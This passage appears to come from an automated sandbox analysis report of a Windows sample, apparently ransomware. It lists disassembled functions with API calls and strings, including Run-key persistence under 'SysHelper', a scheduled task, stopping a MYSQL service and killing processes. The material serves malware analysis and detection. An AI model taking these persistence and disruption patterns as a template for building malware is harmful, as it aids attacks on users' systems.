Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2e74f348d978aa6d86d7a4bcf4ad75af8e5eec8b3156eaf57847e3efada330f4
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2e74f348d978aa6d86d7a4bcf4ad75af8e5eec8b3156eaf57847e3efada330f4
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 84f5dca6d15e395a5318b2d8ebf354653e1335cc2aeafdcf3ea1fa7091428858
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 84f5dca6d15e395a5318b2d8ebf354653e1335cc2aeafdcf3ea1fa7091428858
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 3dd751b55826294964085055a71ea3811957cd0e16fa9190f0f9ac0a9f57f753
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 3dd751b55826294964085055a71ea3811957cd0e16fa9190f0f9ac0a9f57f753
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

